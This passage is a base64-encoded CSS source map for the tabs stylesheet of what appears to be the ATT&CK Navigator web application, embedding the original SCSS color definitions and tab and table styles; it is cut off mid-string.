sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC90YWJzL3RhYnMuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3N0ZGluIiwic3JjL2FwcC90YWJzL3RhYnMuY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZUE7Ozs7Ozs7O0VBQUE7QUNiQTtFQUNJLGVBQUE7RUFDQSxnQkFBQTtFQUNBLGdCQUFBO0VBRUEseUJBQUE7S0FBQSxzQkFBQTtNQUFBLHFCQUFBO1VBQUEsaUJBQUE7RUFDQSxhQUFBO0FDT0o7QURMSTtFQUNJLFNBQUE7RUFDQSxrQkFBQTtFQUNBLGNBQUE7RUFDQSxXQUFBO0VBQ0EsZ0JBQUE7RUFDQSxlQUFBO0VBQ0EsWUFBQTtFQXdCQSxrQkFBQTtFQUNBLGNBQUE7RUFDQSxrQkFBQTtFQUVBLGlCQUFBO0VBQ0EsNkJBQUE7RUFDQSwwQkFBQTtBQ2pCUjtBRFhRO0VBQ0kscUNBQUE7RUFDQSxlQUFBO0VBQ0EscUJBQUE7RUFDQSxZQUFBO0FDYVo7QURWUTtFQUNJLHFDQUFBO0VBQ0EsZUFBQTtFQUNBLFlBQUE7RUFDQSxnQkFBQTtBQ1laO0FEVGdCO0VBQ0ksbUJEN0JOO0FFd0NkO0FES1E7RUFDSSxlQUFBO0VBQ0EsZUFBQTtFQUNBLGNBQUE7QUNIWjtBRElZO0VBQ0ksWUFBQTtBQ0ZoQjtBRE9ZO0VBQ0kscUJBQUE7QUNMaEI7QURNZ0I7RUFDSSxvQ0FBQTtFQUNBLHlCRDNETjtBRXVEZDtBRFdRO0VBQ0ksa0JBQUE7RUFDQSxVQUFBO0VBQ0EsVUFBQTtFQUNBLGdCQUFBO0VBQ0Esa0JBQUE7RUFDQSxrQkFBQTtBQ1RaO0FEWVE7RUFDSSxXRDNFSztFQzRFTCxlQUFBO0VBQ0Esc0JEL0VDO0VDZ0ZELDZCQUFBO0FDVlo7QURnQkk7RUFDSSxjQUFBO0VBQ0EsWUFBQTtBQ2RSO0FEZ0JJO0VBQ0ksY0FBQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0FDZFI7QURtQkE7RUFDSSxpQkFBQTtFQUNBLFdBQUE7RUFDQSxpQkFBQTtFQUNBLGVBQUE7QUNoQko7QURpQkk7RUFDSSxZQUFBO0FDZlI7QURtQkE7RUFFSSxlQUFBO0FDakJKO0FEb0JBO0VBQ0ksc0JBQUE7QUNqQko7QURtREk7RUFDSSxZQUFBO0FDaERSO0FEb0RBOztFQUVFLGFBQUE7QUNqREY7QURvREE7RUFDRSw4QkFBQTtFQUNBLG1CQUFBO0FDakRGO0FEb0RBO0VBQ0ksWUFBQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0VBRUEseUJEdktVO0VDd0tWLGtCQUFBO0FDbERKO0FEbURJO0VBQ0ksc0JEM0tLO0FFMEhiO0FEdURBO0VBRUksa0JBQUE7RUFDQSxnQkFBQTtBQ3JESjtBRHdEQTtFQUNJLGlCQUFBO0FDckRKO0FEc0RJO0VBQU0scUJBQUE7RUFBdUIsZUFBQTtBQ2xEakM7QURtREk7RUFHSSxpQkFBQTtFQU1BLGtCQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7QUN4RFI7QURpRFE7RUFDSSxxQkFBQTtFQUNBLGNBQUE7RUFDQSxnQkFBQTtBQy9DWjtBRHVESTtFQUNJLGVBQUE7RUFDQSxNQUFBO0VBQ0EsUUFBQTtFQUNBLGlCQUFBO0VBRUEsbUJBQUE7RUFDQSxrQkRoTks7RUNpTkwseUJBQUE7RUFDQSx3QkFBQTtFQUNBLGtCQUFBO0VBQ0EsVUFBQTtFQUNBLFdBQUE7RUFDQSxZQUFBO0FDdERSO0FEOENRO0VBQVUsbUJEN01KO0FFa0tkO0FEd0RBO0VBQ0ksV0FBQTtFQUNBLHlCQUFBO0FDckRKO0FEc0RJO0VBSUkscUJBQUE7RUFFQSxXQUFBO0VBRUEsZUFBQTtFQUNBLGtCQUFBO0FDekRSO0FEaURRO0VBQ0ksbUJBQUE7QUMvQ1o7QUR3RFE7RUFDSSxnQkFBQTtFQUNBLFNBQUE7RUFDQSxZQUFBO0FDdERaO0FEd0RnQjtFQUFLLHNCQUFBO0VBQXdCLGtCQUFBO0FDcEQ3QztBRHVEZ0I7RUFDSSwyQkFBQTtBQ3JEcEI7QUR1RGdCO0VBQ0ksNkJBQUE7QUNyRHBCO0FENERBO0VBQ0ksMEJBQUE7QUN6REo7QUQwREk7RUFDSSxnQkFBQTtFQUNBLDBHQUFBO0VBQ0Esd0JBQUE7RUFDQSwyQkFBQTtBQ3hEUjtBRDBESTtFQUNJLGVBQUE7QUN4RFI7QUQyREE7RUFDSSxnQkFBQTtFQUNBLGVBQUE7RUFDQSxTQUFBO0FDeERKIiwiZmlsZSI6InNyYy9hcHAvdGFicy90YWJzLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiJGNvbHVtbi1ob3Zlci1jb2xvcjogcmdiKDIzNSwgMjM1LCAyMzUpO1xuJGRpc2FibGVkLWNvbG9yOiBkYXJrZW4oJGNvbHVtbi1ob3Zlci1jb2xvciwgMjAlKTtcbiRjZWxsLWhpZ2hsaWdodC1jb2xvcjogcmdiKDk2LCAxOTcsIDI1NSk7XG4kaG92ZXItY2VsbC1mb250LWNvbG9yOiByZ2IoMCwgMCwgMCk7XG4kcGFuZWwtZGFyazogI2RkZDtcbiRwYW5lbC1saWdodDogbGlnaHRlbigkcGFuZWwtZGFyaywgOCUpO1xuJHRhYi10ZXh0LWNvbG9yOiAjNTU1O1xuJGJ1dHRvbi1kYXJrOiAjYjhiOGI4O1xuXG4vLyBBVFQmQ0sgQnJhbmQgY29sb3JzXG4kYXR0YWNrLWNvbG9yczogKFxuICAgIGF0dGFjay1vcmFuZ2U6ICNjNjNmMWYsXG4gICAgYXR0YWNrLWJsdWU6ICMwNjJmNGZcbik7XG5cbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbiRjb2xvcnM6IChcbiAgICBwcmltYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1vcmFuZ2UpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBoZWFkZXIgYW5kIHNvbWUgbmF2IGVsZW1lbnRzXG4gICAgc2Vjb25kYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1ibHVlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgZm9vdGVyIGFuZCBzb21lIGJ1dHRvbnNcbiAgICBib2R5OiAoY29sb3I6IHdoaXRlLCBvbi1jb2xvcjogIzM5NDM0QyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbWFyeSBwYWdlIGJvZHlcbi8vICBib2R5OiAoY29sb3I6IHJnYig1MCwgNTAsIDUwKSwgb24tY29sb3I6ICNjZGNkY2QpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2V4YW1wbGUgb2YgYSBkYXJrIHRoZW1lIGZvciB0aGUgc2l0ZVxuICAgIGxpbms6IChjb2xvcjogIzRmN2NhYyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2h5cGVybGlua3NcbiAgICBtYXRyaXgtaGVhZGVyOiAoY29sb3I6IGdyYXksIG9uLWNvbG9yOiB3aGl0ZSksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vY29sb3Igb2YgbWF0cml4IGhlYWRlcnNcblxuICAgIC8vYm9vdHN0cmFwIGNvbG9yc1xuICAgIGJvb3RzdHJhcC1wcmltYXJ5OiAoY29sb3I6ICM0MjhiY2EsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLXN1Y2Nlc3M6IChjb2xvcjogIzVjYjg1Yywgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtZGFuZ2VyOiAoY29sb3I6ICNkOTUzNGYsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLXdhcm5pbmc6IChjb2xvcjogI2YwYWQ0ZSwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtaW5mbzogKGNvbG9yOiAjNWJjMGRlLCBvbi1jb2xvcjogd2hpdGUpLFxuXG4gICAgLy9UT0RPIGRlcHJlY2F0ZSB3aXRoIHNlYXJjaCBwYWdlIGNoYW5nZXNcbiAgICBzZWFyY2gtcmVzdWx0cy1ib3JkZXI6IChjb2xvcjogYmxhY2ssIG9uLWNvbG9yOiBsaWdodGdyZXkpLCAgXG4pO1xuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIGNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwiY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgZ2V0IGFuIGFsdGVybmF0ZSB2ZXJzaW9uIG9mIHRoZSBjb2xvciwgZm9yIHBhdHRlcm5pbmdcbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGRhcmssIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBsaWdodGVyLlxuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgbGlnaHQsIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBkYXJrZXIuXG4vLyBjb250cmFzdCwgYW4gb3B0aW9uYWwgYXJndW1lbnQsIG11bHRpcGxpZXMgdG8gY3JlYXRlIGEgbW9yZSBkaXN0aW50IG9yIHNpbWlsYXIgY29sb3IuID4xIGlzIG1vcmUgZGlzdGFudCwgPDEgaXMgbW9yZSBzaW1pbGFyLlxuQGZ1bmN0aW9uIGNvbG9yLWFsdGVybmF0ZSgkbmFtZSwgJGNvbnRyYXN0OiAxKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgJHdlaWdodDogJGNvbnRyYXN0ICogNSUpOyBcbn1cblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBvbi1jb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIG9uLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcIm9uLWNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbGVzcyBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIG9uLWNvbG9yKCRuYW1lKSk7IFxufVxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZGVlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGRlZW1waGFzaXplZCBvbi1jb2xvciBpcyBtb3JlIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZGVlbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGNvbG9yKCRuYW1lKSwgb24tY29sb3IoJG5hbWUpLCAyNSUpOyBcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBjb21wdXRlIGEgYm9yZGVyIGNvbG9yIGZvciB0aGUgY29sb3JcbkBmdW5jdGlvbiBib3JkZXItY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAxMi41JSk7IFxuICAgIC8vIEByZXR1cm4gcmdiYShpbnZlcnQoY29sb3IoJG5hbWUpKSwgMC4xMjUpO1xufVxuIiwiQGltcG9ydCBcIi4uLy4uL2NvbG9ycy5zY3NzXCI7XG5cbi50YWJzIHtcbiAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgIC8vIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZGRkOyAvL2hvcml6b250YWwgbGluZSBib3JkZXJcbiAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICBtYXJnaW4tdG9wOiAwO1xuXG4gICAgJj5saSB7XG4gICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgZmxvYXQ6IGxlZnQ7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgaGVpZ2h0OiAyM3B4O1xuXG4gICAgICAgIGEgeyAvL25vbi1kYXRhdGFibGUgdGFiIG5hbWVzXG4gICAgICAgICAgICBmb250LWZhbWlseTogJ1JvYm90byBNb25vJywgbW9ub3NwYWNlO1xuICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgY29sb3I6IGJsYWNrO1xuICAgICAgICB9XG5cbiAgICAgICAgaW5wdXRbdHlwZT10ZXh0XSB7IC8vZGF0YXRhYmxlIHRhYiBuYW1lIGVkaXQgZmllbGRcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnUm9ib3RvIE1vbm8nLCBtb25vc3BhY2U7XG4gICAgICAgICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICAgICAgICBib3JkZXI6IG5vbmU7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lO1xuICAgICAgICAgICAgJjpkaXNhYmxlZCB7fSAvL3doZW4gdGhlIHRhYiBpc24ndCBhY3RpdmVcbiAgICAgICAgICAgICY6bm90KDpkaXNhYmxlZCkgeyAvL3doZW4gdGhlIHRhYiBpcyBhY3RpdmVcbiAgICAgICAgICAgICAgICAmOmZvY3VzIHsgLy93aGVuIHRoZSBpbnB1dCBpcyBzZWxlY3RlZCAoZWRpdGluZylcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJHBhbmVsLWxpZ2h0O1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICB9XG5cblxuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7XG5cbiAgICAgICAgbWFyZ2luLXJpZ2h0OiAycHg7XG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItcmFkaXVzOiA0cHggNHB4IDAgMDtcblxuICAgICAgICAvLyBhZGQgbmV3IHRhYiBidXR0b25cbiAgICAgICAgJi5hZGRUYWIge1xuICAgICAgICAgICAgZm9udC1zaXplOiAxMnB0O1xuICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgY29sb3I6IGRhcmtlbigkcGFuZWwtZGFyaywgMjAlKTtcbiAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgIGNvbG9yOiBibGFjaztcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgICY6aG92ZXIsICY6Zm9jdXMgeyAvL3doZW4gdGhlIG1vdXNlIGlzIG92ZXIgYSBub24tc2VsZWN0ZWQgdGFiXG4gICAgICAgICAgICAmOm5vdCguYWN0aXZlKSB7XG4gICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgICAgICY6bm90KC5hZGRUYWIpIHsgLy9hZGQgdGFiIHNob3VsZCBub3QgYmVoYXZlIGxpa2Ugb3RoZXIgdGFic1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICRwYW5lbC1kYXJrICRwYW5lbC1kYXJrICRwYW5lbC1saWdodCAkcGFuZWwtZGFyazsvL2JsYWNrIGJvcmRlciBib3R0b20gd2hlbiBob3ZlcmVkXG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICRwYW5lbC1saWdodDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuXG4gICAgICAgIC8vdGFiIG51bWJlciB0aGF0IHNob3dzIHVwIHdoZW4gdGFiIGlzIGhpZ2hsaWdodGVkXG4gICAgICAgICY+LnRhYkVudW1lcmF0b3Ige1xuICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgdG9wOiAtMTBweDtcbiAgICAgICAgICAgIHJpZ2h0OiA1cHg7XG4gICAgICAgICAgICBwYWRkaW5nOiAycHggNHB4O1xuICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiKDI1NSwyNTUsMCk7XG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgICAgIH1cblxuICAgICAgICAmLmFjdGl2ZSB7XG4gICAgICAgICAgICBjb2xvcjogJHRhYi10ZXh0LWNvbG9yOy8vdGV4dCBjb2xvclxuICAgICAgICAgICAgY3Vyc29yOiBkZWZhdWx0OyAvL2N1cnNvciBiZWhhdmlvclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWRhcms7XG4gICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDsgLy9vdmVycmlkZSBib3JkZXIgaGlnaGxpZ2h0aW5nIG9uIGhvdmVyXG4gICAgICAgIH1cblxuXG4gICAgfVxuXG4gICAgJjpiZWZvcmUge1xuICAgICAgICBkaXNwbGF5OiB0YWJsZTtcbiAgICAgICAgY29udGVudDogXCIgXCI7XG4gICAgfVxuICAgICY6YWZ0ZXIge1xuICAgICAgICBkaXNwbGF5OiB0YWJsZTtcbiAgICAgICAgY2xlYXI6IGJvdGg7XG4gICAgICAgIGNvbnRlbnQ6IFwiIFwiO1xuICAgIH1cbn1cblxuLy8gY2xvc2UgdGFiIGJ1dHRvblxuLnRhYi1jbG9zZSB7XG4gICAgbWFyZ2luLWxlZnQ6IDEwcHg7XG4gICAgY29sb3I6IGdyYXk7XG4gICAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICY6aG92ZXIge1xuICAgICAgICBjb2xvcjogYmxhY2tcbiAgICB9XG59XG5cbi5uZXdUYWIge1xuICAgIC8vIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBwYWRkaW5nOiA1JSAyMCU7XG59XG5cbi5ib3JkZXIge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkICRwYW5lbC1kYXJrO1xufVxuXG4vLyBidXR0b24ge1xuLy8gICAgIHBhZGRpbmc6IDVweDtcbi8vICAgICBtYXJnaW46IDVweDtcbi8vICAgICB3aWR0aDogMzAwcHg7XG4vLyAgICAgLy8gYm9yZGVyOiAxcHggc29saWQgYmxhY2s7XG4vLyAgICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWxpZ2h0O1xuLy8gICAgIGJvcmRlci1yYWRpdXM6IDBweDtcbi8vICAgICAmOmhvdmVyIHtcbi8vICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogJHBhbmVsLWRhcms7XG4vLyAgICAgfVxuLy8gfVxuXG4vLyAubGF5ZXJPcGVyYXRpb25zUGFuZWwge1xuLy8gICAgIC8vIHdpZHRoOiA1MCU7XG4vLyAgICAgLy8gYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbi8vICAgICBtYXJnaW46IDAgYXV0bztcbi8vICAgICB0YWJsZSB7XG4vLyAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuLy8gICAgICAgICBtYXJnaW46IDAgYXV0bztcbi8vICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbi8vICAgICAgICAgdGQucm93TmFtZSB7XG4vLyAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodDtcbi8vICAgICAgICAgICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkICNkZGQ7XG4vLyAgICAgICAgIH1cbi8vICAgICAgICAgdGQge1xuLy8gICAgICAgICAgICAgcGFkZGluZzogNXB4O1xuLy8gICAgICAgICB9XG4vLyAgICAgfVxuLy8gfVxuXG4ubGF5ZXJPcFRhYmxlIHtcbiAgICB0ZCB7XG4gICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICB9XG59XG5cbi5oZWFkZXJzLWFsaWduIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci10aXRsZSxcbi5oZWFkZXJzLWFsaWduIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbiB7XG4gIGZsZXgtYmFzaXM6IDA7XG59XG5cbi5oZWFkZXJzLWFsaWduIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbiB7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbn1cblxuaW5wdXRbdHlwZT1maWxlXXtcbiAgICBwYWRkaW5nOiA1cHg7XG4gICAgbWFyZ2luOiA1cHg7XG4gICAgd2lkdGg6IDMwMHB4O1xuICAgIC8vIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrO1xuICAgIGJhY2tncm91bmQtY29sb3I6ICRwYW5lbC1saWdodDtcbiAgICBib3JkZXItcmFkaXVzOiAwcHg7XG4gICAgJjpob3ZlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6ICRwYW5lbC1kYXJrO1xuICAgIH1cbn1cblxuXG4vL2J1dHRvbiBvbiBuZXcgdGFiIHBhZ2Vcbi5oZWxwQnV0dG9uQ29udGFpbmVyIHtcbiAgICAvLyBib3JkZXI6IDFweCBzb2xpZCBibGFjaztcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgbWFyZ2luLXRvcDogMjBweDtcbn1cblxuLmhlYWRlciB7XG4gICAgdGV4dC1hbGlnbjogcmlnaHQ7XG4gICAgZGl2IHsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBjdXJzb3I6IHBvaW50ZXI7IH1cbiAgICAubG9nbyB7XG4gICAgICAgIC8vIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgLy8gdG9wOiAwO1xuICAgICAgICB0ZXh0LWFsaWduOiByaWdodDtcbiAgICAgICAgYSB7XG4gICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAgICAgICBjb2xvcjogcmdiKDE3NiwgMjYsIDI2KTtcbiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OjUwMDtcbiAgICAgICAgfVxuICAgICAgICBtYXJnaW4tcmlnaHQ6IDQwcHg7XG4gICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgaGVpZ2h0OiAyZXg7XG5cbiAgICB9XG5cbiAgICAuaGVscEJ1dHRvbiB7XG4gICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgdG9wOiAwO1xuICAgICAgICByaWdodDogMDtcbiAgICAgICAgYmFja2dyb3VuZDogd2hpdGU7XG4gICAgICAgICY6aG92ZXIgeyBiYWNrZ3JvdW5kOiAkcGFuZWwtbGlnaHQ7IH1cbiAgICAgICAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiAkcGFuZWwtZGFyaztcbiAgICAgICAgYm9yZGVyLXdpZHRoOiAwIDAgMXB4IDFweDtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMCAwIDAgNTAlO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgIHdpZHRoOiAyZXg7XG4gICAgICAgIGhlaWdodDogMmV4O1xuICAgICAgICBwYWRkaW5nOiA1cHg7XG4gICAgfVxufVxuXG5cbi5pbnB1dFRhYmxlIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICAgIHRyIHtcbiAgICAgICAgJi5mZWF0dXJlUm93OmhvdmVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQ6IGRhcmtlbih3aGl0ZSwgNSUpXG4gICAgICAgIH1cbiAgICAgICAgdHJhbnNpdGlvbjogZWFzZSAwLjJzO1xuXG4gICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICAvLyBiYWNrZ3JvdW5kOiBkYXJrZW4od2hpdGUsIDUlKTtcbiAgICAgICAgbWFyZ2luLXRvcDogNXB4O1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7XG5cbiAgICAgICAgdGQge1xuICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgICAgICAgIHdpZHRoOiAxJTtcbiAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICYuZmVhdHVyZVJvdy1idXR0b24ge1xuICAgICAgICAgICAgICAgIGltZyB7dmVydGljYWwtYWxpZ246IG1pZGRsZTsgbWFyZ2luLWJvdHRvbTogMnB4O31cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc3ViZmVhdHVyZSB7XG4gICAgICAgICAgICAgICAgJjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAxcHggc29saWQgJHBhbmVsLWRhcms7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICYubGFzdCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAkcGFuZWwtZGFyaztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cbiNsYXllcmxpbmtmaWVsZCB7XG4gICAgY29sb3I6IHJnYmEoMCwwLDAsLjQyKTtcbiAgICAubWF0LWZvcm0tZmllbGQtdW5kZXJsaW5lIHtcbiAgICAgICAgYmFja2dyb3VuZDogbm9uZTtcbiAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LHJnYmEoMCwwLDAsLjQyKSAwLHJnYmEoMCwwLDAsLjQyKSAzMyUsdHJhbnNwYXJlbnQgMCk7XG4gICAgICAgIGJhY2tncm91bmQtc2l6ZTogNHB4IDFweDtcbiAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IHJlcGVhdC14O1xuICAgIH1cbiAgICAjbGF5ZXJMaW5rIHtcbiAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgIH1cbn1cbi5sYXllckxpbmtzIHtcbiAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICBtYXJnaW46IDA7XG59XG4iLCIvKipcbiAqIENvbG9ycyB1c2VkIGFjcm9zcyB0aGUgTmF2aWdhdG9yLiBTaGFyZWQgYnkgdGhlIEFUVCZDSyBXZWJzaXRlLlxuICogRm9yIGVhY2ggY29sb3ItcGFpcjpcbiAqICAgLSBcImNvbG9yXCIgcmVmZXJzIHRvIHRoZSBjb2xvciBpdHNlbGZcbiAqICAgLSBcIm9uLWNvbG9yXCIgc